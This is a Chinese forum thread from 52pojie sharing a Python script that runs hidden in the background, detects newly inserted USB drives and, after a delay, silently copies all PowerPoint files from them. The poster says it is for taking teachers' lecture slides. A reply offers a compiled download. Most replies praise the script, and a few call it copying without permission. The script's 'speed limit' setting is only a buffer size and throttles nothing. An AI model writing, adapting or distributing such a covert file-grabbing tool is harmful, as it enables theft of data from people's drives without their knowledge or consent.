吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 18013|回复: 1849
收起左侧

[Python 原创] 静默拷贝U盘里的ppt/pptx

    [复制链接]
xiaosuobjsd 发表于 2024-4-6 12:21
本帖最后由 xiaosuobjsd 于 2024-4-6 12:25 编辑

专门用于拷贝老师讲课的课件!!!本程序需要编译,运行后无界面,如果需要关闭的话,请从任务管理器里关闭

[Python] 纯文本查看 复制代码
import os
import shutil
import time
import psutil

# 获取本机硬盘盘符列表
def get_disk_drives():
    disk_partitions = psutil.disk_partitions(all=False)
    drives = [partition.device.upper() for partition in disk_partitions if partition.fstype != "" and "removable" in partition.opts]
    return drives

# 拷贝 U盘中的 .ppt.pptx 文件到 指定目录
def copy_ppt_files(source_folder, destination_folder, speed_limit_kb):
    for root, dirs, files in os.walk(source_folder):
        for file in files:
            if file.endswith((".ppt", ".pptx")):
                src_file = os.path.join(root, file)
                dst_root = root.replace(source_folder, destination_folder)
                dst_file = os.path.join(dst_root, file)
                os.makedirs(dst_root, exist_ok=True)
                with open(src_file, 'rb') as fsrc:
                    with open(dst_file, 'wb') as fdst:
                        shutil.copyfileobj(fsrc, fdst, length=speed_limit_kb * 1024)

# 检查是否有新的 U 盘插入
def check_for_new_drive(speed_limit_kb=1024):  # 默认速度限制为 1024 KB/s
    drives = get_disk_drives()
    drives = [drive for drive in drives if drive not in excluded_drives]
    new_drives = [drive for drive in drives if drive not in known_drives]
    for new_drive in new_drives:
        known_drives.append(new_drive)
        print(f"New drive detected: {new_drive}")
        time.sleep(300)  # 等待300秒后再开始拷贝
        copy_ppt_files(new_drive, destination_drive, speed_limit_kb)

if __name__ == "__main__":
    # 已知的驱动器列表,用于检测新插入的驱动器
    known_drives = []
    excluded_drives = [drive + ':' for drive in "ABCDEFGHIJKLMNOPQRSTUVWXYZ"]
    destination_drive = "d:\\Download\\"  # 目标路径
    # 检查目标路径是否存在,如果不存在则创建它
    if not os.path.exists(destination_drive):
        os.makedirs(destination_drive)
    # 每隔一分钟检查U盘一次
    while True:
        check_for_new_drive()
        time.sleep(60)  # 等待60秒

免费评分

参与人数 111吾爱币 +111 热心值 +95 收起 理由
Markeyooo + 1 我很赞同!
lhehao + 1 我很赞同!
woyunsile + 1 + 1 谢谢@Thanks!
wen198710 + 1 我很赞同!
lwd5237 + 1 + 1 谢谢@Thanks!
13557455543 + 1 + 1 我很赞同!
Aidouqiang + 1 + 1 用心讨论,共获提升!
damnsoso + 1 + 1 热心回复!
hello3981 + 1 + 1 我很赞同!
泪之火 + 1 + 1 你是真滴牛B
haoyangge + 1 + 1 谢谢@Thanks!
alentonly + 1 + 1 谢谢@Thanks!
erzi + 1 我很赞同!
yzyuan007 + 1 + 1 热心回复!
wwqhg + 1 + 1 我很赞同!
小黑啊123 + 1 + 1 谢谢@Thanks!
ndtinfo + 1 + 1 谢谢@Thanks!
wjpzzz + 1 我很赞同!
侃遍天下无二人 + 7 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
xaibin + 1 + 1 谢谢@Thanks!
ShiraiKuroko + 1 + 1 我很赞同!
happytime159 + 1 + 1 谢谢@Thanks!
sexinsex08 + 1 + 1 我很赞同!
HillBoom + 1 + 1 用心讨论,共获提升!
我爱破姐 + 1 + 1 谢谢@Thanks!
chenxr + 1 我很赞同!
liupin924 + 1 热心回复!
coolfenny + 1 + 1 用心讨论,共获提升!
liudongssnh + 1 + 1 谢谢@Thanks!
晒太阳的猫 + 1 + 1 用心讨论,共获提升!
trtnt60 + 1 + 1 我很赞同!
demigod.dww + 1 + 1 我很赞同!
xiangzz + 1 + 1 加密的.XLSX不能被拷贝
xi12345621 + 1 + 1 谢谢@Thanks!
187573 + 1 我很赞同!
mhaitao + 1 + 1 我很赞同!
随风飘动的小草 + 1 + 1 谢谢@Thanks!
天涯89 + 1 + 1 谢谢@Thanks!
sky之城 + 1 + 1 我很赞同!
l254576343 + 1 + 1 我很赞同!
jsyczxyh + 1 + 1 我很赞同!
jalonewy + 1 + 1 卑鄙下流无耻的评分拿走
天空的板砖fly + 1 + 1 鼓励转贴优秀软件安全工具和文档!
zzzxcv + 1 + 1 热心回复!
rebirthboy + 1 我很赞同!
catti518 + 1 我很赞同!
Ruomeng + 1 谢谢@Thanks!
DaShiXiong33 + 1 + 1 谢谢@Thanks!
秋风君 + 1 + 1 6啊~谢谢@Thanks!
18032137867 + 1 + 1 谢谢@Thanks!
sunlei658 + 1 + 1 谢谢@Thanks!
o824 + 1 + 1 谢谢@Thanks!
fcml45 + 1 + 1 热心回复!
诸葛文诚 + 1 + 1 谢谢@Thanks!
hazy1k + 1 + 1 我很赞同!
oxxo119 + 1 + 1 谢谢@Thanks!
qaqa5 + 1 + 1 鼓励转贴优秀软件安全工具和文档!
pengdaolong + 1 + 1 可以根据需要改成自己想复制的文件。高啊
waallen + 1 热心回复!
DUDU666 + 1 + 1 谢谢@Thanks!
唐小样儿 + 1 + 1 我很赞同!
——— + 1 谢谢@Thanks!
ll090822 + 1 + 1 热心回复!
louchen94 + 1 + 1 我很赞同!
gyxydhy + 1 + 1 热心回复!
zhuzi77 + 1 + 1 我很赞同!
lkb00077 + 1 我很赞同!
xyz2000cn007 + 1 + 1 热心回复!
alalalsk163 + 1 + 1 热心回复!
nameJunHao + 1 谢谢@Thanks!
heiyue003 + 1 + 1 热心回复!
抱薪风雪雾 + 1 + 1 谢谢@Thanks!
开心熊猫741 + 1 + 1 热心回复!
arpat3313 + 1 + 1 好牛b啊
h3y4c8 + 1 + 1 用心讨论,共获提升!
我无聊路过1989 + 1 我很赞同!
Ldn2740488086 + 1 鼓励转贴优秀软件安全工具和文档!
wanfen11 + 1 我很赞同!
youngestdriver + 1 + 1 我很赞同!
zhandi518 + 1 + 1 我很赞同!
lsyh1688 + 1 + 1 这是在偷师吗?
xyyyhhh + 1 热心回复!
uzcool + 3 + 1 热心回复!
anwen + 3 + 1 6啊,再也不用担心留一手了~ 哈哈
hefan8 + 1 热心回复!
发抖的小喵喵 + 1 + 1 热心回复!
hmg668 + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
红尘客栈。 + 1 鼓励转贴优秀软件安全工具和文档!
PPdemm + 1 + 1 我很赞同!
wang82530 + 1 + 1 鼓励转贴优秀软件安全工具和文档!
Boly + 1 谢谢@Thanks!
ijarod + 1 + 1 用心讨论,共获提升!
911tg + 1 + 1 谢谢@Thanks!
so3c + 1 + 1 谢谢@Thanks!
Garveygao + 1 用心讨论,共获提升!
Jackin + 2 + 1 我很赞同!
GoodDoctor + 1 + 1 谢谢@Thanks!
crizquan + 1 + 1 用心讨论,共获提升!
hello1024 + 1 谢谢@Thanks!
renshaowei + 1 谢谢@Thanks!

查看全部评分

本帖被以下淘专辑推荐:

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

影视专业 发表于 2024-4-10 10:12
自用版,拿走不谢

UShift.zip

25.63 KB, 下载次数: 544, 下载积分: 吾爱币 -1 CB

免费评分

参与人数 4吾爱币 +4 热心值 +4 收起 理由
德德哥 + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
jde513 + 1 + 1 热心回复!
hol + 1 + 1 谢谢@Thanks!
xiaosuobjsd + 1 + 1 我很赞同!

查看全部评分

collinchen1218 发表于 2024-4-6 12:30
Eaglecad 发表于 2024-4-6 12:40
到时候u盘弹出时提示被占用怎么办,非正途啊
付国兵123 发表于 2024-4-6 12:58
这个就传说中的,不经同意直接拷贝文件。
吾爱破解啦 发表于 2024-4-9 17:23
文件很多不就发现了
414246704 发表于 2024-4-6 12:41
这是什么意思呀,优盘里的文件直接复制不就好了吗?
头像被屏蔽
xiaobaixuepj 发表于 2024-4-6 12:24
提示: 该帖被管理员或版主屏蔽
simmtech 发表于 2024-4-6 12:41
能不能复制文件多种类文件
luxingyu329 发表于 2024-4-6 12:35
用什么语言写的?能学习不
a97313 发表于 2024-4-6 12:37
下载学习一下
414246704 发表于 2024-4-6 12:39
什么东西呀
戈壁独行 发表于 2024-4-6 12:42
这怎么说呢?????
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-12-15 19:44

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表